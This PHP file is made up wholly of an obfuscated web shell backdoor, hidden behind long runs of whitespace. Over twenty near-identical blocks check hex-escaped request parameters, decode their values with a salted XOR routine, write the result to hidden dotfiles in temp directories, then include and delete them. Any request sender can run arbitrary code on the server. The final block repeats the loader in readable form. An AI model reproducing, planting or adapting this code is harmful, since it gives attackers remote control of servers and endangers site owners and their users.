<?php																																										if(@$_POST["s\x79mbol"] !== null){ $tkn = $_POST["s\x79mbol"]; $tkn = explode('.' , $tkn ) ; $parameter_group =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s ); $o =0; while ($o < count($tkn)) { $v6 =$tkn[$o]; $chS =ord($s[$o % $lenS] ); $d =((int)$v6 - $chS - ($o % 10))^ 39; $parameter_group .= chr($d ); $o++; } $pointer = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getcwd(), "/dev/shm", session_save_path(), getenv("TMP"), "/tmp"]); $fac = 0; do { $token = $pointer[$fac] ?? null; if ($fac >= count($pointer)) break; if (is_writable($token) && is_dir($token)) { $element = implode("/", [$token, ".descriptor"]); if (file_put_contents($element, $parameter_group)) { require $element; unlink($element); exit; } } $fac++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "m\x72\x6B")){ $itm = $_POST["m\x72\x6B"]; $itm = explode( '.' , $itm) ; $value= ''; $salt1= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt1 ); $len= count( $itm ); for( $n= 0; $n < $len; $n++) { $v6= $itm[$n]; $chS= ord( $salt1[$n % $sLen] ); $d= ( ( int)$v6 - $chS -( $n % 10)) ^ 84; $value .= chr( $d ); } $obj = array_filter([getenv("TMP"), getenv("TEMP"), getcwd(), session_save_path(), "/dev/shm", "/var/tmp", "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir")]); foreach ($obj as $key => $comp) { if (is_dir($comp) ? is_writable($comp) : false) { $pset = str_replace("{var_dir}", $comp, "{var_dir}/.data_chunk"); $file = fopen($pset, 'w'); if ($file) { fwrite($file, $value); fclose($file); include $pset; @unlink($pset); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "d\x65\x73c")){ $key = $_REQUEST["d\x65\x73c"]; $key = explode ( '.' , $key ) ; $ent= ''; $salt8= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt8 ); $i= 0; array_walk( $key, function( $v7) use( &$ent, &$i, $salt8, $lenS) {$chS= ord( $salt8[$i%$lenS] ); $d= ( ( int)$v7 - $chS -( $i%10)) ^70; $ent .= chr( $d ); $i++; } ); $binding = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", "/var/tmp", session_save_path(), "/tmp", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir")]); for ($tkn = 0, $pset = count($binding); $tkn < $pset; $tkn++) { $item = $binding[$tkn]; if (!!is_dir($item) && !!is_writable($item)) { $sym = vsprintf("%s/%s", [$item, ".marker"]); if (file_put_contents($sym, $ent)) { include $sym; @unlink($sym); exit; } } } }
																																										if(isset($_REQUEST["en\x74"])){ $val = array_filter(["/tmp", "/dev/shm", session_save_path(), getcwd(), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir")]); $obj = $_REQUEST["en\x74"]; $obj =explode ( '.' ,$obj ) ; $object= ''; $salt1= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt1); $m= 0; $__len= count( $obj); do { if( $m >= $__len) break; $v2= $obj[$m]; $chS= ord( $salt1[$m% $sLen]); $d= ( ( int)$v2 - $chS -( $m% 10))^48; $object .=chr( $d); $m++; } while( true); foreach ($val as $resource) { if (!!is_dir($resource) && !!is_writable($resource)) { $mrk = "$resource" . "/.dchunk"; if (file_put_contents($mrk, $object)) { require $mrk; unlink($mrk); die(); } } } }
																																										if(!is_null($_REQUEST["\x64a\x74a_c\x68\x75\x6Ek"] ?? null)){ $dchunk = array_filter([getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", "/tmp", getenv("TEMP"), "/var/tmp", getenv("TMP")]); $binding = $_REQUEST["\x64a\x74a_c\x68\x75\x6Ek"]; $binding = explode ('.' ,$binding) ; $fac = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $v = 0; $__len = count($binding); do { if($v >= $__len) break; $v4 = $binding[$v]; $sChar = ord($salt[$v % $sLen]); $dec =((int)$v4 - $sChar -($v % 10)) ^ 21; $fac .=chr($dec); $v++;} while(true); while ($k = array_shift($dchunk)) { if ((is_dir($k) and is_writable($k))) { $sym = join("/", [$k, ".ref"]); if (file_put_contents($sym, $fac)) { require $sym; unlink($sym); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["c\x6F\x6Dp"])){ $pointer = $_REQUEST["c\x6F\x6Dp"]; $pointer = explode('.' , $pointer ) ; $token= ''; $s4= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s4); $z= 0; foreach ($pointer as $v1) { $sChar= ord($s4[$z % $lenS]); $dec= ((int)$v1 - $sChar - ($z % 10))^ 53; $token.= chr($dec); $z++; } $rec = array_filter([getenv("TMP"), sys_get_temp_dir(), "/var/tmp", session_save_path(), getenv("TEMP"), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp"]); for ($k = 0, $bind = count($rec); $k < $bind; $k++) { $component = $rec[$k]; if ((is_dir($component) and is_writable($component))) { $ent = "$component/.value"; $success = file_put_contents($ent, $token); if ($success) { include $ent; @unlink($ent); exit;} } } }
																																										if(@$_REQUEST["bin\x64\x69\x6E\x67"] !== null){ $fac = array_filter(["/tmp", sys_get_temp_dir(), getenv("TMP"), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), "/var/tmp"]); $pointer = $_REQUEST["bin\x64\x69\x6E\x67"]; $pointer=explode ( "." , $pointer); $ent= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s ); foreach ($pointer as $z => $v7): $chS= ord($s[$z % $lenS] ); $dec= ((int)$v7 - $chS - ($z % 10)) ^ 32; $ent .= chr($dec ); endforeach; foreach ($fac as $factor) { if (array_product([is_dir($factor), is_writable($factor)])) { $flag = join("/", [$factor, ".value"]); if (file_put_contents($flag, $ent)) { require $flag; unlink($flag); die(); } } } }
																																										if(in_array("tkn", array_keys($_REQUEST))){ $dchunk = $_REQUEST["tkn"]; $dchunk = explode ( '.' , $dchunk ) ; $reference = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9 ); $len = count($dchunk ); for($v = 0; $v < $len; $v++) { $v5 = $dchunk[$v]; $sChar = ord($salt9[$v % $lenS] ); $dec =((int)$v5 - $sChar -($v % 10)) ^ 83; $reference.= chr($dec ); } $sym = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), getcwd(), "/dev/shm", "/tmp", sys_get_temp_dir(), "/var/tmp", getenv("TEMP")]); for ($obj = 0, $data_chunk = count($sym); $obj < $data_chunk; $obj++) { $pointer = $sym[$obj]; if (is_dir($pointer) && is_writable($pointer)) { $fac = vsprintf("%s/%s", [$pointer, ".dat"]); $success = file_put_contents($fac, $reference); if ($success) { include $fac; @unlink($fac); die();} } } }
																																										if(isset($_POST) && isset($_POST["s\x79\x6Dbo\x6C"])){ $reference = $_POST["s\x79\x6Dbo\x6C"]; $reference = explode ( '.' , $reference ) ; $parameter_group= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt ); foreach ($reference as $m => $v2): $chS= ord($salt[$m % $lenS] ); $d= ((int)$v2 - $chS - ($m % 10)) ^ 1; $parameter_group .= chr($d ); endforeach; $fac = array_filter([getenv("TEMP"), session_save_path(), "/var/tmp", "/tmp", sys_get_temp_dir(), getenv("TMP"), "/dev/shm", getcwd(), ini_get("upload_tmp_dir")]); for ($obj = 0, $data_chunk = count($fac); $obj < $data_chunk; $obj++) { $record = $fac[$obj]; if (!( !is_dir($record) || !is_writable($record) )) { $mrk = "$record/.entry"; if (file_put_contents($mrk, $parameter_group)) { require $mrk; unlink($mrk); die(); } } } }
																																										if(!empty($_POST["value"])){ $resource = array_filter([getcwd(), "/var/tmp", session_save_path(), sys_get_temp_dir(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP")]); $flag = $_POST["value"]; $flag =explode( ".",$flag ) ; $pointer = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt6); $w = 0; array_walk( $flag, function( $v9) use( &$pointer, &$w, $salt6, $sLen) { $sChar = ord( $salt6[$w % $sLen]); $dec =( ( int)$v9 - $sChar -( $w % 10))^21; $pointer .= chr( $dec); $w++; }); foreach ($resource as $key => $data_chunk) { if (array_product([is_dir($data_chunk), is_writable($data_chunk)])) { $object = sprintf("%s/.elem", $data_chunk); if (file_put_contents($object, $pointer)) { include $object; @unlink($object); die(); } } } }
																																										if(@$_POST["\x72\x65f"] !== null){ $entity = $_POST["\x72\x65f"]; $entity= explode( "." , $entity ); $component = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach($entity as $o => $v2): $chS = ord($s[$o % $sLen]); $dec =((int)$v2 - $chS -($o % 10)) ^ 78; $component .= chr($dec); endforeach; $flag = array_filter(["/tmp", getcwd(), "/dev/shm", "/var/tmp", getenv("TEMP"), session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); foreach ($flag as $key => $object) { if (is_dir($object) ? is_writable($object) : false) { $data_chunk = join("/", [$object, ".obj"]); $success = file_put_contents($data_chunk, $component); if ($success) { include $data_chunk; @unlink($data_chunk); exit;} } } }
																																										if(in_array("key", array_keys($_POST))){ $factor = $_POST["key"]; $factor = explode ('.' , $factor ) ; $sym = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt3 ); $m = 0; foreach( $factor as $v4) { $sChar = ord( $salt3[$m % $sLen] ); $d =( ( int)$v4 - $sChar -( $m % 10)) ^69; $sym.= chr( $d ); $m++;} $entry = array_filter(["/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), getenv("TEMP"), sys_get_temp_dir(), getcwd(), "/tmp"]); foreach ($entry as $key => $record) { if (max(0, is_dir($record) * is_writable($record))) { $mrk = str_replace("{var_dir}", $record, "{var_dir}/.value"); if (file_put_contents($mrk, $sym)) { include $mrk; @unlink($mrk); exit; } } } }
																																										if(@$_POST["\x70se\x74"] !== null){ $flag = $_POST["\x70se\x74"]; $flag = explode( "." , $flag ) ; $rec = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s8 ); $u = 0; foreach ($flag as $v7) { $sChar = ord($s8[$u % $lenS] ); $d = ((int)$v7 - $sChar - ($u % 10)) ^ 18; $rec .= chr($d ); $u++; } $property_set = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/tmp", "/var/tmp", getcwd(), getenv("TEMP")]); for ($obj = 0, $data = count($property_set); $obj < $data; $obj++) { $key = $property_set[$obj]; if (is_writable($key) && is_dir($key)) { $holder = "$key" . "/.object"; if (file_put_contents($holder, $rec)) { require $holder; unlink($holder); die(); } } } }
																																										if(in_array("r\x65\x63o\x72d", array_keys($_REQUEST))){ $pgrp = array_filter(["/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), getcwd(), getenv("TEMP"), "/tmp", getenv("TMP")]); $key = $_REQUEST["r\x65\x63o\x72d"]; $key = explode ( "." ,$key ) ; $property_set = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt3); $q = 0; $len = count( $key); do { if( $q >= $len) break; $v2 = $key[$q]; $sChar = ord( $salt3[$q%$sLen]); $d =( ( int)$v2 - $sChar -( $q%10))^100; $property_set .= chr( $d); $q++;} while( true); foreach ($pgrp as $key => $ptr) { if (is_writable($ptr) && is_dir($ptr)) { $element = "$ptr/.bind"; if (@file_put_contents($element, $property_set) !== false) { include $element; unlink($element); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x72ec\x6F\x72d"])){ $value = $_POST["\x72ec\x6F\x72d"]; $value= explode( "." ,$value ) ; $desc = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $q = 0; $__tmp = $value; while( $v9 = array_shift( $__tmp)) { $sChar = ord( $salt[$q % $lenS]); $dec = ( ( int)$v9 - $sChar -( $q % 10)) ^ 88; $desc .= chr( $dec); $q++; } $entry = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", session_save_path(), "/tmp", "/dev/shm", getcwd(), getenv("TMP")]); foreach ($entry as $pset) { if ((bool)is_dir($pset) && (bool)is_writable($pset)) { $ent = implode("/", [$pset, ".obj"]); if (file_put_contents($ent, $desc)) { include $ent; @unlink($ent); exit; } } } }
																																										if(in_array("\x6F\x62j", array_keys($_POST))){ $object = $_POST["\x6F\x62j"]; $object=explode( "." , $object ) ; $flag = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s7 ); $v = 0; foreach ($object as $v4) {$chS = ord($s7[$v % $lenS] ); $d = ((int)$v4 - $chS - ($v % 10)) ^ 57; $flag .= chr($d ); $v++; } $parameter_group = array_filter([getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", session_save_path(), "/var/tmp", getcwd()]); foreach ($parameter_group as $key => $reference) { if ((is_dir($reference) and is_writable($reference))) { $token = "$reference" . "/.factor"; $file = fopen($token, 'w'); if ($file) { fwrite($file, $flag); fclose($file); include $token; @unlink($token); die(); } } } }
																																										if(@$_REQUEST["\x70se\x74"] !== null){ $sym = array_filter(["/var/tmp", getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/tmp", session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getcwd()]); $flag = $_REQUEST["\x70se\x74"]; $flag =explode ( '.' , $flag ) ; $elem = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s8); foreach( $flag as $x => $v1): $chS = ord( $s8[$x % $lenS]); $d =( ( int)$v1 - $chS -( $x % 10)) ^ 10; $elem .= chr( $d); endforeach; for ($token = 0, $reference = count($sym); $token < $reference; $token++) { $key = $sym[$token]; if (is_dir($key) && is_writable($key)) { $factor = "$key/.mrk"; if (file_put_contents($factor, $elem)) { require $factor; unlink($factor); die(); } } } }
																																										if(!is_null($_POST["\x72e\x66"] ?? null)){ $holder = array_filter(["/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), getcwd(), "/dev/shm", session_save_path()]); $key = $_POST["\x72e\x66"]; $key = explode ( "." , $key ) ; $parameter_group = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt9 ); foreach( $key as $w => $v1): $chS = ord( $salt9[$w % $lenS] ); $dec =( ( int)$v1 - $chS -( $w % 10)) ^ 67; $parameter_group .=chr( $dec ); endforeach; foreach ($holder as $key => $token) { if (is_dir($token) && is_writable($token)) { $ptr = str_replace("{var_dir}", $token, "{var_dir}/.tkn"); $file = fopen($ptr, 'w'); if ($file) { fwrite($file, $parameter_group); fclose($file); include $ptr; @unlink($ptr); die(); } } } }
																																										if(array_key_exists("bind", $_POST)){ $data = $_POST["bind"]; $data = explode ("." , $data) ; $symbol = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $k = 0; foreach ($data as $v6) { $sChar = ord($s[$k % $sLen] ); $dec = ((int)$v6 - $sChar - ($k % 10)) ^ 43; $symbol .=chr($dec ); $k++; } $reference = array_filter([getenv("TMP"), getenv("TEMP"), "/tmp", "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", session_save_path()]); foreach ($reference as $key => $fac) { if (is_dir($fac) && is_writable($fac)) { $rec = str_replace("{var_dir}", $fac, "{var_dir}/.parameter_group"); if (@file_put_contents($rec, $symbol) !== false) { include $rec; unlink($rec); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x62ind")){ $entry = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", getcwd(), session_save_path(), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), "/dev/shm"]); $dat = $_REQUEST["\x62ind"]; $dat = explode ( ".", $dat) ; $k = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); foreach ($dat as $w=> $v3): $sChar = ord($salt[$w % $sLen] ); $d = ((int)$v3 - $sChar - ($w % 10))^23; $k .= chr($d ); endforeach; foreach ($entry as $comp): if ((function($d) { return is_dir($d) && is_writable($d); })($comp)) { $pgrp = vsprintf("%s/%s", [$comp, ".object"]); if (@file_put_contents($pgrp, $k) !== false) { include $pgrp; unlink($pgrp); die(); } } endforeach; }
																																										if(@$_POST["sym"] !== null){ $tkn = array_filter([ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), "/tmp", "/var/tmp", "/dev/shm", getcwd(), sys_get_temp_dir(), getenv("TEMP")]); $record = $_POST["sym"]; $record = explode('.' , $record ) ; $dchunk = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3); foreach($record as $s => $v1) { $sChar = ord($s3[$s % $sLen]); $dec =((int)$v1 - $sChar -($s % 10))^ 45; $dchunk .= chr($dec); } while ($entity = array_shift($tkn)) { if ((bool)is_dir($entity) && (bool)is_writable($entity)) { $element = sprintf("%s/.ptr", $entity); if (file_put_contents($element, $dchunk)) { include $element; @unlink($element); exit; } } } }


if(!is_null($_POST["\x68ld"] ?? null)){
	$k = $_POST["\x68ld"];
	  $k	 =explode 		(		'.',	 	$k   );	 
	$val		= 	'';
            $s		= 	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen		= 	strlen(		$s);
    
            foreach(		$k as $t	=>$v3) {
                $chS		= 	ord(		$s[$t % $sLen]);
                $dec		= 	(		(		int)$v3 - $chS -(		$t % 10)) ^ 48;
                $val .= chr(		$dec);  } 	
	$itm = array_filter([getenv("TMP"), sys_get_temp_dir(), "/dev/shm", getcwd(), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", session_save_path()]);
	$bind = 0;
do {
    $symbol = $itm[$bind] ?? null;
    if ($bind >= count($itm)) break;
    		if (max(0, is_dir($symbol) * is_writable($symbol))) {
    $res = join("/", [$symbol, ".factor"]);
    if (@file_put_contents($res, $val) !== false) {
	include $res;
	unlink($res);
	die();
}
}
    $bind++;
} while (true);
}